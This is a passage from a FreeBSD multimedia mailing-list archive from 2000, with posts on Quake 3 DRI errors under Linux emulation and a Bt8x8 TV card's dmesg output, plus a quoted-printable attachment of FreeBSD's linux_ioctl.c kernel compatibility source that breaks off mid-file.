"/dev/dri/card0" 11110 quake3.x86 RET open 11/0xb 11110 quake3.x86 CALL ioctl(0xb,0xc0086401 ,0xbfbfe2d8) 11110 quake3.x86 RET ioctl -1 errno -22 Unknown error: -22 11110 quake3.x86 CALL close(0xb) 11110 quake3.x86 RET close 0 Any suggestions? My system: FreeBSD 4.1-RELEASE XFree86 4.0.1 built from ports Various Debian XF86-4 packages extracted into /compat/linux Matrox G450 16MB using the mga_drv.o from Matrox To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Wed Nov 22 18:45:43 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from moo.sysabend.org (moo.sysabend.org [209.0.55.68]) by hub.freebsd.org (Postfix) with ESMTP id E938637B479 for ; Wed, 22 Nov 2000 18:45:40 -0800 (PST) Received: by moo.sysabend.org (Postfix, from userid 1004) id 7D3B67569; Wed, 22 Nov 2000 18:48:36 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by moo.sysabend.org (Postfix) with ESMTP id 6C0C71D89 for ; Wed, 22 Nov 2000 18:48:36 -0800 (PST) Date: Wed, 22 Nov 2000 18:48:36 -0800 (PST) From: Jamie Bowden To: multimedia@FreeBSD.org Subject: Bt8x8 card. Message-ID: Approved: yep X-representing: Only myself. X-badge: We don't need no stinking badges. X-obligatory-profanity: Fuck X-moo: Moo. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Here's the dmesg output from a Pinnacle Systems Studio PCTV Pro (this should be appropriate to the non pro model as well, the difference is the software bundle): bktr0: mem 0xd6000000-0xd6000fff irq 15 at device 10.0 on pci0 bktr0: Warning - card vendor 0xbd11 (model 0x1200) unknown. bktr0: Detected a MSP3451G-A2 at 0x80 bktr0: Miro TV, Philips PAL tuner, msp3400c stereo. Jamie Bowden -- "It was half way to Rivendell when the drugs began to take hold" Hunter S Tolkien "Fear and Loathing in Barad Dur" Iain Bowen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Wed Nov 22 18:49:30 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from moo.sysabend.org (moo.sysabend.org [209.0.55.68]) by hub.freebsd.org (Postfix) with ESMTP id 91A6637B4CF for ; Wed, 22 Nov 2000 18:49:28 -0800 (PST) Received: by moo.sysabend.org (Postfix, from userid 1004) id C51D07569; Wed, 22 Nov 2000 18:52:25 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by moo.sysabend.org (Postfix) with ESMTP id B5AE91D89 for ; Wed, 22 Nov 2000 18:52:25 -0800 (PST) Date: Wed, 22 Nov 2000 18:52:25 -0800 (PST) From: Jamie Bowden To: multimedia@FreeBSD.org Subject: Re: Bt8x8 card. In-Reply-To: Message-ID: Approved: yep X-representing: Only myself. X-badge: We don't need no stinking badges. X-obligatory-profanity: Fuck X-moo: Moo. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 22 Nov 2000, Jamie Bowden wrote: : :Here's the dmesg output from a Pinnacle Systems Studio PCTV Pro (this :should be appropriate to the non pro model as well, the difference is the :software bundle): : :bktr0: mem 0xd6000000-0xd6000fff irq 15 at device 10.0 on :pci0 :bktr0: Warning - card vendor 0xbd11 (model 0x1200) unknown. :bktr0: Detected a MSP3451G-A2 at 0x80 :bktr0: Miro TV, Philips PAL tuner, msp3400c stereo. Oops, forgot to mention the tuner is actually a Temic NTSC. Jamie Bowden -- "It was half way to Rivendell when the drugs began to take hold" Hunter S Tolkien "Fear and Loathing in Barad Dur" Iain Bowen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Wed Nov 22 22:37:28 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from sm4.texas.rr.com (unknown [24.93.35.211]) by hub.freebsd.org (Postfix) with ESMTP id 3A95437B479 for ; Wed, 22 Nov 2000 22:36:33 -0800 (PST) Received: from bloop.craftncomp.com (cs2777-164.houston.rr.com [24.27.77.164]) by sm4.texas.rr.com (8.10.1/8.10.1) with ESMTP id eAN6aTQ20059; Thu, 23 Nov 2000 00:36:29 -0600 Received: from bloop.craftncomp.com (localhost.craftncomp.com [127.0.0.1]) by bloop.craftncomp.com (8.11.0/8.9.3) with ESMTP id eAN553G15445; Wed, 22 Nov 2000 23:05:03 -0600 (CST) (envelope-from shocking@bloop.craftncomp.com) Message-Id: <200011230505.eAN553G15445@bloop.craftncomp.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: Steve Reid Cc: freebsd-multimedia@FreeBSD.ORG Subject: Re: XF86-4, Linux binaries, DRI? In-Reply-To: Message from Steve Reid of "Wed, 22 Nov 2000 15:53:18 PST." <20001122155318.A11020@grok> Reply-To: shocking@houston.rr.com Mime-Version: 1.0 Content-Type: multipart/mixed ; boundary="==_Exmh_-15466650710" Date: Wed, 22 Nov 2000 23:05:02 -0600 From: Stephen Hocking Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multipart MIME message. --==_Exmh_-15466650710 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable OK, I've been there and done that. I'm sending you my linux_ioctl.c and = linux_ioctl.h which should help out. Bear in mind I'm running a system wh= ich = is currently pre_SMPng, so these may or may not work directly (i.e. may n= eed = some twiddling). They belong in /sys/compat/linux if you're running curre= nt, else /sys/i386/linux. Note that I'm running pre_SMPng current. = = Stephen = --==_Exmh_-15466650710 Content-Type: text/plain ; name="linux_ioctl.c"; charset=iso-8859-1 Content-Description: linux_ioctl.c Content-Disposition: attachment; filename="linux_ioctl.c" Content-Transfer-Encoding: quoted-printable /* * Copyright (c) 1994-1995 S=F8ren Schmidt * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer * in this position and unchanged. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the= * documentation and/or other materials provided with the distribution= =2E * 3. The name of the author may not be used to endorse or promote produc= ts * derived from this software withough specific prior written permissi= on * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANT= IES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED= =2E * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, B= UT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF U= SE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE = OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * $FreeBSD: src/sys/compat/linux/linux_ioctl.c,v 1.54 2000/08/22 01:28:3= 6 marcel Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static linux_ioctl_function_t linux_ioctl_cdrom; static linux_ioctl_function_t linux_ioctl_console; static linux_ioctl_function_t linux_ioctl_disk; static linux_ioctl_function_t linux_ioctl_socket; static linux_ioctl_function_t linux_ioctl_sound; static linux_ioctl_function_t linux_ioctl_termio; static linux_ioctl_function_t linux_ioctl_drm; static struct linux_ioctl_handler cdrom_handler =3D { linux_ioctl_cdrom, LINUX_IOCTL_CDROM_MIN, LINUX_IOCTL_CDROM_MAX }; static struct linux_ioctl_handler console_handler =3D { linux_ioctl_console, LINUX_IOCTL_CONSOLE_MIN, LINUX_IOCTL_CONSOLE_MAX }= ; static struct linux_ioctl_handler disk_handler =3D { linux_ioctl_disk, LINUX_IOCTL_DISK_MIN, LINUX_IOCTL_DISK_MAX }; static struct linux_ioctl_handler socket_handler =3D { linux_ioctl_socket, LINUX_IOCTL_SOCKET_MIN, LINUX_IOCTL_SOCKET_MAX }; static struct linux_ioctl_handler sound_handler =3D { linux_ioctl_sound, LINUX_IOCTL_SOUND_MIN, LINUX_IOCTL_SOUND_MAX }; static struct linux_ioctl_handler termio_handler =3D { linux_ioctl_termio, LINUX_IOCTL_TERMIO_MIN, LINUX_IOCTL_TERMIO_MAX }; static struct linux_ioctl_handler drm_handler =3D { linux_ioctl_drm, LINUX_IOCTL_DRM_MIN, LINUX_IOCTL_DRM_MAX }; DATA_SET(linux_ioctl_handler_set, cdrom_handler); DATA_SET(linux_ioctl_handler_set, console_handler); DATA_SET(linux_ioctl_handler_set, disk_handler); DATA_SET(linux_ioctl_handler_set, socket_handler); DATA_SET(linux_ioctl_handler_set, sound_handler); DATA_SET(linux_ioctl_handler_set, termio_handler); DATA_SET(linux_ioctl_handler_set, drm_handler); struct handler_element = { TAILQ_ENTRY(handler_element) list; int (*func)(struct proc *, struct linux_ioctl_args *); int low, high, span; }; static TAILQ_HEAD(, handler_element) handlers =3D TAILQ_HEAD_INITIALIZER(handlers); static int linux_ioctl_disk(struct proc *p, struct linux_ioctl_args *args) { struct file *fp =3D p->p_fd->fd_ofiles[args->fd]; int error; struct disklabel dl; switch (args->cmd & 0xffff) { case LINUX_BLKGETSIZE: error =3D fo_ioctl(fp, DIOCGDINFO, (caddr_t)&dl, p); if (error) return (error); return copyout(&(dl.d_secperunit), (caddr_t)args->arg, sizeof(dl.d_secp= erunit)); break; } return (ENOIOCTL); } /* * termio related ioctls */ struct linux_termio { unsigned short c_iflag; unsigned short c_oflag; unsigned short c_cflag; unsigned short c_lflag; unsigned char c_line; unsigned char c_cc[LINUX_NCC]; }; struct linux_termios { unsigned int c_iflag; unsigned int c_oflag; unsigned int c_cflag; unsigned int c_lflag; unsigned char c_line; unsigned char c_cc[LINUX_NCCS]; }; struct linux_winsize { unsigned short ws_row, ws_col; unsigned short ws_xpixel, ws_ypixel; }; static struct speedtab sptab[] =3D { { B0, LINUX_B0 }, { B50, LINUX_B50 }, { B75, LINUX_B75 }, { B110, LINUX_B110 }, { B134, LINUX_B134 }, { B150, LINUX_B150 }, { B200, LINUX_B200 }, { B300, LINUX_B300 }, { B600, LINUX_B600 }, { B1200, LINUX_B1200 }, { B1800, LINUX_B1800 }, { B2400, LINUX_B2400 }, { B4800, LINUX_B4800 }, { B9600, LINUX_B9600 }, { B19200, LINUX_B19200 }, { B38400, LINUX_B38400 }, { B57600, LINUX_B57600 }, { B115200, LINUX_B115200 }, {-1, -1 } }; struct linux_serial_struct { int type; int line; int port; int irq; int flags; int xmit_fifo_size; int custom_divisor; int baud_base; unsigned short close_delay; char reserved_char[2]; int hub6; unsigned short closing_wait; unsigned short closing_wait2; int reserved[4]; }; static int linux_to_bsd_speed(int code, struct speedtab *table) { for ( ; table->sp_code !=3D -1; table++) if (table->sp_code =3D=3D code) return (table->sp_speed); return -1; } static int bsd_to_linux_speed(int speed, struct speedtab *table) { for ( ; table->sp_speed !=3D -1; table++) if (table->sp_speed =3D=3D speed) return (table->sp_code); return -1; } static void bsd_to_linux_termios(struct termios *bios, struct linux_termios *lios) { int i; #ifdef DEBUG printf("LINUX: BSD termios structure (input):\n"); printf("i=3D%08x o=3D%08x c=3D%08x l=3D%08x ispeed=3D%d ospeed=3D%d\n", bios->c_iflag, bios->c_oflag, bios->c_cflag, bios->c_lflag, bios->c_ispeed, bios->c_ospeed); printf("c_cc "); for (i=3D0; ic_cc[i]); printf("\n"); #endif lios->c_iflag =3D 0; if (bios->c_iflag & IGNBRK) lios->c_iflag |=3D LINUX_IGNBRK; if (bios->c_iflag & BRKINT) lios->c_iflag |=3D LINUX_BRKINT; if (bios->c_iflag & IGNPAR) lios->c_iflag |=3D LINUX_IGNPAR; if (bios->c_iflag & PARMRK) lios->c_iflag |=3D LINUX_PARMRK; if (bios->c_iflag & INPCK) lios->c_iflag |=3D LINUX_INPCK; if (bios->c_iflag & ISTRIP) lios->c_iflag |=3D LINUX_ISTRIP; if (bios->c_iflag & INLCR) lios->c_iflag |=3D LINUX_INLCR; if (bios->c_iflag & IGNCR) lios->c_iflag |=3D LINUX_IGNCR; if (bios->c_iflag & ICRNL) lios->c_iflag |=3D LINUX_ICRNL; if (bios->c_iflag & IXON) lios->c_iflag |=3D LINUX_IXON; if (bios->c_iflag & IXANY) lios->c_iflag |=3D LINUX_IXANY; if (bios->c_iflag & IXOFF) lios->c_iflag |=3D LINUX_IXOFF; if (bios->c_iflag & IMAXBEL) lios->c_iflag |=3D LINUX_IMAXBEL; lios->c_oflag =3D 0; if (bios->c_oflag & OPOST) lios->c_oflag |=3D LINUX_OPOST; if (bios->c_oflag & ONLCR) lios->c_oflag |=3D LINUX_ONLCR; if (bios->c_oflag & OXTABS) lios->c_oflag |=3D LINUX_XTABS; lios->c_cflag =3D bsd_to_linux_speed(bios->c_ispeed, sptab); lios->c_cflag |=3D (bios->c_cflag & CSIZE) >> 4; if (bios->c_cflag & CSTOPB) lios->c_cflag |=3D LINUX_CSTOPB; if (bios->c_cflag & CREAD) lios->c_cflag |=3D LINUX_CREAD; if (bios->c_cflag & PARENB) lios->c_cflag |=3D LINUX_PARENB; if (bios->c_cflag & PARODD) lios->c_cflag |=3D LINUX_PARODD; if (bios->c_cflag & HUPCL) lios->c_cflag |=3D LINUX_HUPCL; if (bios->c_cflag & CLOCAL) lios->c_cflag |=3D LINUX_CLOCAL; if (bios->c_cflag & CRTSCTS) lios->c_cflag |=3D LINUX_CRTSCTS; lios->c_lflag =3D 0; if (bios->c_lflag & ISIG) lios->c_lflag |=3D LINUX_ISIG; if (bios->c_lflag & ICANON) lios->c_lflag |=3D LINUX_ICANON; if (bios->c_lflag & ECHO) lios->c_lflag |=3D LINUX_ECHO; if (bios->c_lflag & ECHOE) lios->c_lflag |=3D LINUX_ECHOE; if (bios->c_lflag & ECHOK) lios->c_lflag |=3D LINUX_ECHOK; if (bios->c_lflag & ECHONL) lios->c_lflag |=3D LINUX_ECHONL; if (bios->c_lflag & NOFLSH) lios->c_lflag |=3D LINUX_NOFLSH; if (bios->c_lflag & TOSTOP) lios->c_lflag |=3D LINUX_TOSTOP; if (bios->c_lflag & ECHOCTL) lios->c_lflag |=3D LINUX_ECHOCTL; if (bios->c_lflag & ECHOPRT) lios->c_lflag |=3D LINUX_ECHOPRT; if (bios->c_lflag & ECHOKE) lios->c_lflag |=3D LINUX_ECHOKE; if (bios->c_lflag & FLUSHO) lios->c_lflag |=3D LINUX_FLUSHO; if (bios->c_lflag & PENDIN) lios->c_lflag |=3D LINUX_PENDIN; if (bios->c_lflag & IEXTEN) lios->c_lflag |=3D LINUX_IEXTEN; for (i=3D0; ic_cc[i] =3D LINUX_POSIX_VDISABLE; lios->c_cc[LINUX_VINTR] =3D bios->c_cc[VINTR]; lios->c_cc[LINUX_VQUIT] =3D bios->c_cc[VQUIT]; lios->c_cc[LINUX_VERASE] =3D bios->c_cc[VERASE]; lios->c_cc[LINUX_VKILL] =3D bios->c_cc[VKILL]; lios->c_cc[LINUX_VEOF] =3D bios->c_cc[VEOF]; lios->c_cc[LINUX_VEOL] =3D bios->c_cc[VEOL]; lios->c_cc[LINUX_VMIN] =3D bios->c_cc[VMIN]; lios->c_cc[LINUX_VTIME] =3D bios->c_cc[VTIME]; lios->c_cc[LINUX_VEOL2] =3D bios->c_cc[VEOL2]; lios->c_cc[LINUX_VSUSP] =3D bios->c_cc[VSUSP]; lios->c_cc[LINUX_VSTART] =3D bios->c_cc[VSTART]; lios->c_cc[LINUX_VSTOP] =3D bios->c_cc[VSTOP]; lios->c_cc[LINUX_VREPRINT] =3D bios->c_cc[VREPRINT]; lios->c_cc[LINUX_VDISCARD] =3D bios->c_cc[VDISCARD]; lios->c_cc[LINUX_VWERASE] =3D bios->c_cc[VWERASE]; lios->c_cc[LINUX_VLNEXT] =3D bios->c_cc[VLNEXT]; for (i=3D0; ic_cc[i] =3D=3D _POSIX_VDISABLE) lios->c_cc[i] =3D LINUX_POSIX_VDISABLE; } lios->c_line =3D 0; #ifdef DEBUG printf("LINUX: LINUX termios structure (output):\n"); printf("i=3D%08x o=3D%08x c=3D%08x l=3D%08x line=3D%d\n", lios->c_iflag,= lios->c_oflag, lios->c_cflag, lios->c_lflag, (int)lios->c_line); printf("c_cc "); for (i=3D0; ic_cc[i]); printf("\n"); #endif } static void linux_to_bsd_termios(struct linux_termios *lios, struct termios *bios) { int i; #ifdef DEBUG printf("LINUX: LINUX termios structure (input):\n"); printf("i=3D%08x o=3D%08x c=3D%08x l=3D%08x line=3D%d\n", lios->c_iflag,= lios->c_oflag, lios->c_cflag, lios->c_lflag, (int)lios->c_line); printf("c_cc "); for (i=3D0; ic_cc[i]); printf("\n"); #endif bios->c_iflag =3D 0; if (lios->c_iflag & LINUX_IGNBRK) bios->c_iflag |=3D IGNBRK; if (lios->c_iflag & LINUX_BRKINT) bios->c_iflag |=3D BRKINT; if (lios->c_iflag & LINUX_IGNPAR) bios->c_iflag |=3D IGNPAR; if (lios->c_iflag & LINUX_PARMRK) bios->c_iflag |=3D PARMRK; if (lios->c_iflag & LINUX_INPCK) bios->c_iflag |=3D INPCK; if (lios->c_iflag & LINUX_ISTRIP) bios->c_iflag |=3D ISTRIP; if (lios->c_iflag & LINUX_INLCR) bios->c_iflag |=3D INLCR; if (lios->c_iflag & LINUX_IGNCR) bios->c_iflag |=3D IGNCR; if (lios->c_iflag & LINUX_ICRNL) bios->c_iflag |=3D ICRNL; if (lios->c_iflag & LINUX_IXON) bios->c_iflag |=3D IXON; if (lios->c_iflag & LINUX_IXANY) bios->c_iflag |=3D IXANY; if (lios->c_iflag & LINUX_IXOFF) bios->c_iflag |=3D IXOFF; if (lios->c_iflag & LINUX_IMAXBEL) bios->c_iflag |=3D IMAXBEL; bios->c_oflag =3D 0; if (lios->c_oflag & LINUX_OPOST) bios->c_oflag |=3D OPOST; if (lios->c_oflag & LINUX_ONLCR) bios->c_oflag |=3D ONLCR; if (lios->c_oflag & LINUX_XTABS) bios->c_oflag |=3D OXTABS; bios->c_cflag =3D (lios->c_cflag & LINUX_CSIZE) << 4; if (lios->c_cflag & LINUX_CSTOPB) bios->c_cflag |=3D CSTOPB; if (lios->c_cflag & LINUX_CREAD) bios->c_cflag |=3D CREAD; if (lios->c_cflag & LINUX_PARENB) bios->c_cflag |=3D PARENB; if (lios->c_cflag & LINUX_PARODD) bios->c_cflag |=3D PARODD; if (lios->c_cflag & LINUX_HUPCL) bios->c_cflag |=3D HUPCL; if (lios->c_cflag & LINUX_CLOCAL) bios->c_cflag |=3D CLOCAL; if (lios->c_cflag & LINUX_CRTSCTS) bios->c_cflag |=3D CRTSCTS; bios->c_lflag =3D 0; if (lios->c_lflag & LINUX_ISIG) bios->c_lflag |=3D ISIG; if (lios->c_lflag & LINUX_ICANON) bios->c_lflag |=3D ICANON; if (lios->c_lflag & LINUX_ECHO) bios->c_lflag |=3D ECHO; if (lios->c_lflag & LINUX_ECHOE) bios->c_lflag |=3D ECHOE; if (lios->c_lflag & LINUX_ECHOK) bios->c_lflag |=3D ECHOK; if (lios->c_lflag & LINUX_ECHONL) bios->c_lflag |=3D ECHONL; if (lios->c_lflag & LINUX_NOFLSH) bios->c_lflag |=3D NOFLSH; if (lios->c_lflag & LINUX_TOSTOP) bios->c_lflag |=3D TOSTOP; if (lios->c_lflag & LINUX_ECHOCTL) bios->c_lflag |=3D ECHOCTL; if (lios->c_lflag & LINUX_ECHOPRT) bios->c_lflag |=3D ECHOPRT; if (lios->c_lflag & LINUX_ECHOKE) bios->c_lflag |=3D ECHOKE; if (lios->c_lflag & LINUX_FLUSHO) bios->c_lflag |=3D FLUSHO; if (lios->c_lflag & LINUX_PENDIN) bios->c_lflag |=3D PENDIN; if (lios->c_lflag & LINUX_IEXTEN) bios->c_lflag |=3D IEXTEN; for (i=3D0; ic_cc[i] =3D _POSIX_VDISABLE; bios->c_cc[VINTR] =3D lios->c_cc[LINUX_VINTR]; bios->c_cc[VQUIT] =3D lios->c_cc[LINUX_VQUIT]; bios->c_cc[VERASE] =3D lios->c_cc[LINUX_VERASE]; bios->c_cc[VKILL] =3D lios->c_cc[LINUX_VKILL]; bios->c_cc[VEOF] =3D lios->c_cc[LINUX_VEOF]; bios->c_cc[VEOL] =3D lios->c_cc[LINUX_VEOL]; bios->c_cc[VMIN] =3D lios->c_cc[LINUX_VMIN]; bios->c_cc[VTIME] =3D lios->c_cc[LINUX_VTIME]; bios->c_cc[VEOL2] =3D lios->c_cc[LINUX_VEOL2]; bios->c_cc[VSUSP] =3D lios->c_cc[LINUX_VSUSP]; bios->c_cc[VSTART] =3D lios->c_cc[LINUX_VSTART]; bios->c_cc[VSTOP] =3D lios->c_cc[LINUX_VSTOP]; bios->c_cc[VREPRINT] =3D lios->c_cc[LINUX_VREPRINT]; bios->c_cc[VDISCARD] =3D lios->c_cc[LINUX_VDISCARD]; bios->c_cc[VWERASE] =3D lios->c_cc[LINUX_VWERASE]; bios->c_cc[VLNEXT] =3D lios->c_cc[LINUX_VLNEXT]; for (i=3D0; ic_cc[i] =3D=3D LINUX_POSIX_VDISABLE) bios->c_cc[i] =3D _POSIX_VDISABLE; } bios->c_ispeed =3D bios->c_ospeed =3D linux_to_bsd_speed(lios->c_cflag & LINUX_CBAUD, sptab); #ifdef DEBUG printf("LINUX: BSD termios structure (output):\n"); printf("i=3D%08x o=3D%08x c=3D%08x l=3D%08x ispeed=3D%d ospeed=3D%d\n", bios->c_iflag, bios->c_oflag, bios->c_cflag, bios->c_lflag, bios->c_ispeed, bios->c_ospeed); printf("c_cc "); for (i=3D0; ic_cc[i]); printf("\n"); #endif } static void bsd_to_linux_termio(struct termios *bios, struct linux_termio *lio) { struct linux_termios lios; bsd_to_linux_termios(bios, &lios); lio->c_iflag =3D lios.c_iflag; lio->c_oflag =3D lios.c_oflag; lio->c_cflag =3D lios.c_cflag; lio->c_lflag =3D lios.c_lflag; lio->c_line =3D lios.c_line; memcpy(lio->c_cc, lios.c_cc, LINUX_NCC); } static void linux_to_bsd_termio(struct linux_termio *lio, struct termios *bios) { struct linux_termios lios; int i; lios.c_iflag =3D lio->c_iflag; lios.c_oflag =3D lio->c_oflag; lios.c_cflag =3D lio->c_cflag; lios.c_lflag =3D lio->c_lflag; for (i=3DLINUX_NCC; ic_cc, LINUX_NCC); linux_to_bsd_termios(&lios, bios); } static int linux_ioctl_termio(struct proc *p, struct linux_ioctl_args *args) { struct termios bios; struct linux_termios lios; struct linux_termio lio; struct file *fp =3D p->p_fd->fd_ofiles[args->fd]; int error; switch (args->cmd & 0xffff) { case LINUX_TCGETS: error =3D fo_ioctl(fp, TIOCGETA, (caddr_t)&bios, p); if (error) return (error); bsd_to_linux_termios(&bios, &lios); return copyout(&lios, (caddr_t)args->arg, sizeof(lios)); case LINUX_TCSETS: error =3D copyin((caddr_t)args->arg, &lios, sizeof(lios)); if (error) return (error); linux_to_bsd_termios(&lios, &bios); return (fo_ioctl(fp, TIOCSETA, (caddr_t)&bios, p)); case LINUX_TCSETSW: error =3D copyin((caddr_t)args->arg, &lios, sizeof(lios)); if (error) return (error); linux_to_bsd_termios(&lios, &bios); return (fo_ioctl(fp, TIOCSETAW, (caddr_t)&bios, p)); case LINUX_TCSETSF: error =3D copyin((caddr_t)args->arg, &lios, sizeof(lios)); if (error) return (error); linux_to_bsd_termios(&lios, &bios); return (fo_ioctl(fp, TIOCSETAF, (caddr_t)&bios, p)); case LINUX_TCGETA: error =3D fo_ioctl(fp, TIOCGETA, (caddr_t)&bios, p); if (error) return (error); bsd_to_linux_termio(&bios, &lio); return (copyout(&lio, (caddr_t)args->arg, sizeof(lio))); case LINUX_TCSETA: error =3D copyin((caddr_t)args->arg, &lio, sizeof(lio)); if (error) return (error); linux_to_bsd_termio(&lio, &bios); return (fo_ioctl(fp, TIOCSETA, (caddr_t)&bios, p)); case LINUX_TCSETAW: error =3D copyin((caddr_t)args->arg, &lio, sizeof(lio)); if (error) return (error); linux_to_bsd_termio(&lio, &bios); return (fo_ioctl(fp, TIOCSETAW, (caddr_t)&bios, p)); case LINUX_TCSETAF: error =3D copyin((caddr_t)args->arg, &lio, sizeof(lio)); if (error) return (error); linux_to_bsd_termio(&lio, &bios); return (fo_ioctl(fp, TIOCSETAF, (caddr_t)&bios, p)); /* LINUX_TCSBRK */ case LINUX_TCXONC: { switch (args->arg) { case LINUX_TCOOFF: args->cmd =3D TIOCSTOP; break; case LINUX_TCOON: args->cmd =3D TIOCSTART; break; case LINUX_TCIOFF: case LINUX_TCION: { int c; struct write_args wr; error =3D fo_ioctl(fp, TIOCGETA, (caddr_t)&bios, p); if (error) return (error); c =3D (args->arg =3D=3D LINUX_TCIOFF) ? VSTOP : VSTART; c =3D bios.c_cc[c]; if (c !=3D _POSIX_VDISABLE) { wr.fd =3D args->fd; wr.buf =3D &c; wr.nbyte =3D sizeof(c); return (write(p, &wr)); } else return (0); } default: return (EINVAL); } args->arg =3D 0; return (ioctl(p, (struct ioctl_args *)args)); } case LINUX_TCFLSH: { args->cmd =3D TIOCFLUSH; switch (args->arg) { case LINUX_TCIFLUSH: args->arg =3D FREAD; break; case LINUX_TCOFLUSH: args->arg =3D FWRITE; break; case LINUX_TCIOFLUSH: args->arg =3D FREAD | FWRITE; break; default: return (EINVAL); } return (ioctl(p, (struct ioctl_args *)args)); } case LINUX_TIOCEXCL: args->cmd =3D TIOCEXCL; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCNXCL: args->cmd =3D TIOCNXCL; return (ioctl(p, (struct ioctl_args *)args)); /* LINUX_TIOCSCTTY */ case LINUX_TIOCGPGRP: args->cmd =3D TIOCGPGRP; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCSPGRP: args->cmd =3D TIOCSPGRP; return (ioctl(p, (struct ioctl_args *)args)); /* LINUX_TIOCOUTQ */ /* LINUX_TIOCSTI */ case LINUX_TIOCGWINSZ: args->cmd =3D TIOCGWINSZ; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCSWINSZ: args->cmd =3D TIOCSWINSZ; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCMGET: args->cmd =3D TIOCMGET; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCMBIS: args->cmd =3D TIOCMBIS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCMBIC: args->cmd =3D TIOCMBIC; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCMSET: args->cmd =3D TIOCMSET; return (ioctl(p, (struct ioctl_args *)args)); /* TIOCGSOFTCAR */ /* TIOCSSOFTCAR */ case LINUX_FIONREAD: /* LINUX_TIOCINQ */ args->cmd =3D FIONREAD; return (ioctl(p, (struct ioctl_args *)args)); /* LINUX_TIOCLINUX */ case LINUX_TIOCCONS: args->cmd =3D TIOCCONS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCGSERIAL: { struct linux_serial_struct lss; lss.type =3D LINUX_PORT_16550A; lss.flags =3D 0; lss.close_delay =3D 0; return copyout(&lss, (caddr_t)args->arg, sizeof(lss)); } case LINUX_TIOCSSERIAL: { struct linux_serial_struct lss; error =3D copyin((caddr_t)args->arg, &lss, sizeof(lss)); if (error) return (error); /* XXX - It really helps to have an implementation that * does nothing. NOT! */ return (0); } /* LINUX_TIOCPKT */ case LINUX_FIONBIO: args->cmd =3D FIONBIO; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCNOTTY: args->cmd =3D TIOCNOTTY; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_TIOCSETD: { int line; switch (args->arg) { case LINUX_N_TTY: line =3D TTYDISC; break; case LINUX_N_SLIP: line =3D SLIPDISC; break; case LINUX_N_PPP: line =3D PPPDISC; break; default: return (EINVAL); } return (fo_ioctl(fp, TIOCSETD, (caddr_t)&line, p)); } case LINUX_TIOCGETD: { int linux_line; int bsd_line =3D TTYDISC; error =3D fo_ioctl(fp, TIOCGETD, (caddr_t)&bsd_line, p); if (error) return (error); switch (bsd_line) { case TTYDISC: linux_line =3D LINUX_N_TTY; break; case SLIPDISC: linux_line =3D LINUX_N_SLIP; break; case PPPDISC: linux_line =3D LINUX_N_PPP; break; default: return (EINVAL); } return (copyout(&linux_line, (caddr_t)args->arg, sizeof(int))); } /* LINUX_TCSBRKP */ /* LINUX_TIOCTTYGSTRUCT */ case LINUX_FIONCLEX: args->cmd =3D FIONCLEX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_FIOCLEX: args->cmd =3D FIOCLEX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_FIOASYNC: args->cmd =3D FIOASYNC; return (ioctl(p, (struct ioctl_args *)args)); /* LINUX_TIOCSERCONFIG */ /* LINUX_TIOCSERGWILD */ /* LINUX_TIOCSERSWILD */ /* LINUX_TIOCGLCKTRMIOS */ /* LINUX_TIOCSLCKTRMIOS */ } return (ENOIOCTL); } /* * CDROM related ioctls */ struct linux_cdrom_msf { u_char cdmsf_min0; u_char cdmsf_sec0; u_char cdmsf_frame0; u_char cdmsf_min1; u_char cdmsf_sec1; u_char cdmsf_frame1; }; struct linux_cdrom_tochdr { 